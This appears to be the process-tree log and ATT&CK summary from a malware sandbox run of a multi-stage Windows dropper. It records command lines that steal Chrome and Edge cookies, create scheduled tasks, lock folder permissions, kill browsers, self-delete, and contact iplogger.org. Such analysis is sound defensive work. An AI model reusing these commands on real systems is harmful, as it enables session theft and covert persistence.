C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k40⤵PID:2832
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k41⤵PID:2672
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k42⤵PID:1612
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k43⤵PID:1280
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k44⤵PID:2604
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k45⤵PID:2032
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k46⤵PID:1308
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k47⤵PID:324
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k48⤵PID:2516
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k49⤵PID:2484
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k50⤵PID:836
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k51⤵PID:1704
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k52⤵PID:1496
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k53⤵PID:2620
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k54⤵PID:2812
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k55⤵PID:2708
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k56⤵PID:1756
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k57⤵PID:1612
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k58⤵PID:3036
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k59⤵PID:2796
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k60⤵PID:2360
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k61⤵PID:2852
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k62⤵PID:2396
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k63⤵PID:2684
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k64⤵PID:2308
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k65⤵PID:2032
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k66⤵PID:1732
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k67⤵PID:1056
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k68⤵PID:2848
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k69⤵PID:2984
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k70⤵PID:2320
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k71⤵PID:2956
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k72⤵PID:1020
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k73⤵PID:2344
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k74⤵PID:1828
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k75⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k76⤵PID:1576
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k77⤵PID:2928
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k78⤵PID:1456
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:2492
-
-
-
-
-
C:\Users\Admin\Documents\Rp2BzvAeEyuiS9rEd719etDy.exe"C:\Users\Admin\Documents\Rp2BzvAeEyuiS9rEd719etDy.exe"6⤵PID:1104
-
-
C:\Users\Admin\Documents\YCb7xPEKJAoKNG4baDTL6ydJ.exe"C:\Users\Admin\Documents\YCb7xPEKJAoKNG4baDTL6ydJ.exe"6⤵
- Executes dropped EXE
PID:1348 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm7⤵PID:2732
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:2260
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm9⤵PID:1752
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:1860
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comSensitive.exe.com p9⤵PID:2780
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p10⤵PID:576
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p11⤵PID:1536
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p12⤵PID:2708
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p13⤵PID:1300
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\DKDlG2eI1OTWcDEpjLGvRARu.exe"C:\Users\Admin\Documents\DKDlG2eI1OTWcDEpjLGvRARu.exe"6⤵PID:1332
-
C:\Users\Admin\Documents\DKDlG2eI1OTWcDEpjLGvRARu.exe"C:\Users\Admin\Documents\DKDlG2eI1OTWcDEpjLGvRARu.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2140
-
-
-
C:\Users\Admin\Documents\vgAgKjYS2BgDZonkYSX_cxVw.exe"C:\Users\Admin\Documents\vgAgKjYS2BgDZonkYSX_cxVw.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:744 -
C:\Users\Admin\AppData\Roaming\1234.exeC:\Users\Admin\AppData\Roaming\1234.exe 12347⤵PID:2648
-
C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:1720
-
C:\Users\Admin\AppData\Local\Temp\srvs.exe"C:\Users\Admin\AppData\Local\Temp\srvs.exe"9⤵PID:1828
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jNEWIvlnVf" /XML "C:\Users\Admin\AppData\Local\Temp\tmp93A8.tmp"10⤵
- Creates scheduled task(s)
PID:2368
-
-
C:\Users\Admin\AppData\Local\Temp\srvs.exe"{path}"10⤵PID:2188
-
-
-
-
-
-
C:\Users\Admin\Documents\mzNoaTLwpChodbqqobM8w6aY.exe"C:\Users\Admin\Documents\mzNoaTLwpChodbqqobM8w6aY.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2012 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:2684
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:2924
-
-
-
-
C:\Users\Admin\Documents\lZS48JN48f4ojRhJXrwms6KV.exe"C:\Users\Admin\Documents\lZS48JN48f4ojRhJXrwms6KV.exe"6⤵PID:1580
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:2256
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:2508
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:1788
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:1976
-
-
-
C:\Users\Admin\Documents\TnqOJlG5MEbN9y3LSRVr6pi0.exe"C:\Users\Admin\Documents\TnqOJlG5MEbN9y3LSRVr6pi0.exe"6⤵
- Executes dropped EXE
PID:2700
-
-
C:\Users\Admin\Documents\Zff78Suj2gPSLfYzA6H4CX3l.exe"C:\Users\Admin\Documents\Zff78Suj2gPSLfYzA6H4CX3l.exe"6⤵PID:2776
-
C:\Users\Admin\Documents\Zff78Suj2gPSLfYzA6H4CX3l.exeC:\Users\Admin\Documents\Zff78Suj2gPSLfYzA6H4CX3l.exe7⤵PID:3056
-
-
-
C:\Users\Admin\Documents\Lqq6nsllzOZDzYMMFEftThNI.exe"C:\Users\Admin\Documents\Lqq6nsllzOZDzYMMFEftThNI.exe"6⤵PID:2760
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 2767⤵
- Program crash
PID:3024
-
-
-
C:\Users\Admin\Documents\S_5ArhhSUDH0fBOhIsWaWZoF.exe"C:\Users\Admin\Documents\S_5ArhhSUDH0fBOhIsWaWZoF.exe"6⤵PID:2752
-
C:\Users\Admin\Documents\S_5ArhhSUDH0fBOhIsWaWZoF.exe"C:\Users\Admin\Documents\S_5ArhhSUDH0fBOhIsWaWZoF.exe"7⤵PID:2620
-
-
-
C:\Users\Admin\Documents\jpJ7mXch1LXAfNYvLgYHjOPi.exe"C:\Users\Admin\Documents\jpJ7mXch1LXAfNYvLgYHjOPi.exe"6⤵PID:2712
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im jpJ7mXch1LXAfNYvLgYHjOPi.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\jpJ7mXch1LXAfNYvLgYHjOPi.exe" & del C:\ProgramData\*.dll & exit7⤵PID:2728
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im jpJ7mXch1LXAfNYvLgYHjOPi.exe /f8⤵
- Kills process with taskkill
PID:2064
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:2928
-
-
-
-
C:\Users\Admin\Documents\hyu1EDdvA_Y3LboO0nCF4fwj.exe"C:\Users\Admin\Documents\hyu1EDdvA_Y3LboO0nCF4fwj.exe"6⤵PID:2824
-
C:\Users\Admin\Documents\hyu1EDdvA_Y3LboO0nCF4fwj.exeC:\Users\Admin\Documents\hyu1EDdvA_Y3LboO0nCF4fwj.exe7⤵PID:1936
-
-
-
C:\Users\Admin\Documents\YxDIZ_QP6ViP7CPWsTH5yugp.exe"C:\Users\Admin\Documents\YxDIZ_QP6ViP7CPWsTH5yugp.exe"6⤵PID:2792
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_6.exe4⤵
- Loads dropped DLL
PID:1188 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\sonia_6.exesonia_6.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:1204 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1104
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:2640
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:2200
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:2164
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_7.exe4⤵PID:108
-
-
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1332
-
C:\Users\Admin\AppData\Local\Temp\9740.exeC:\Users\Admin\AppData\Local\Temp\9740.exe1⤵PID:2496
-
C:\Users\Admin\AppData\Local\Temp\9740.exeC:\Users\Admin\AppData\Local\Temp\9740.exe2⤵PID:2240
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:2908
-
-
C:\Users\Admin\AppData\Local\Temp\9740.exe"C:\Users\Admin\AppData\Local\Temp\9740.exe" --Admin IsNotAutoStart IsNotTask3⤵PID:2876
-
C:\Users\Admin\AppData\Local\Temp\9740.exe"C:\Users\Admin\AppData\Local\Temp\9740.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:2256
-
C:\Users\Admin\AppData\Local\734f952b-2b92-413b-ac9a-abe0859e9741\build2.exe"C:\Users\Admin\AppData\Local\734f952b-2b92-413b-ac9a-abe0859e9741\build2.exe"5⤵PID:1996
-
C:\Users\Admin\AppData\Local\734f952b-2b92-413b-ac9a-abe0859e9741\build2.exe"C:\Users\Admin\AppData\Local\734f952b-2b92-413b-ac9a-abe0859e9741\build2.exe"6⤵PID:1380
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\734f952b-2b92-413b-ac9a-abe0859e9741\build2.exe" & del C:\ProgramData\*.dll & exit7⤵PID:1936
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
PID:2420
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:2976
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\explorer.exeexplorer https://iplogger.org/2LBCU61⤵PID:2072
-
C:\Users\Admin\AppData\Local\Temp\B349.exeC:\Users\Admin\AppData\Local\Temp\B349.exe1⤵PID:2372
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im B349.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B349.exe" & del C:\ProgramData\*.dll & exit2⤵PID:1568
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im B349.exe /f3⤵
- Executes dropped EXE
- Loads dropped DLL
- Kills process with taskkill
PID:1104
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:2332
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵PID:2924
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/2LBCU62⤵PID:2808
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2808 CREDAT:275457 /prefetch:23⤵
- Executes dropped EXE
PID:2480
-
-
-
C:\Users\Admin\AppData\Local\Temp\123B.exeC:\Users\Admin\AppData\Local\Temp\123B.exe1⤵PID:1976
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}1⤵
- Executes dropped EXE
PID:1580
-
C:\Users\Admin\AppData\Local\Temp\4A2D.exeC:\Users\Admin\AppData\Local\Temp\4A2D.exe1⤵PID:1980
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:2300
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:1272
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:1928
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:1192
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {F6481D86-C9D8-4D84-9E65-129360371493} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]1⤵PID:836
-
C:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exeC:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exe --Task2⤵PID:1788
-
C:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exeC:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exe --Task3⤵PID:2636
-
-
-
C:\Users\Admin\AppData\Roaming\rcvbecsC:\Users\Admin\AppData\Roaming\rcvbecs2⤵
- Executes dropped EXE
PID:2712
-
-
C:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exeC:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exe --Task2⤵PID:964
-
C:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exeC:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exe --Task3⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Roaming\rcvbecsC:\Users\Admin\AppData\Roaming\rcvbecs2⤵PID:960
-
-
C:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exeC:\Users\Admin\AppData\Local\db832783-a613-4090-8008-2428b68f6d97\9740.exe --Task2⤵PID:576
-
-
C:\Users\Admin\AppData\Local\Temp\4262.exeC:\Users\Admin\AppData\Local\Temp\4262.exe1⤵PID:1732
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1